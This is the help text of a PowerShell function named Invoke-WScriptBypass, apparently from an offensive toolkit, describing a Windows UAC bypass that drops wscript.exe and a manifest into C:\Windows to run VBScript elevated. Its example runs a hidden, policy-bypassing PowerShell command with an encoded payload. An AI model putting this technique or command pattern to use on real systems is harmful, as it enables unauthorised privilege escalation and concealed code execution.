    .DESCRIPTION

    Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute VBScript using the wscript executable
    with the new manifest. The VBScript executed by C:\Windows\wscript.exe will run elevated.

    .PARAMETER payload
    The code you want wscript.exe to run elevated. Put the full command in quotes.

    .EXAMPLE
    Invoke-WScriptBypass -payload "powershell.exe -ep Bypass -WindowStyle Hidden -enc <base64>"
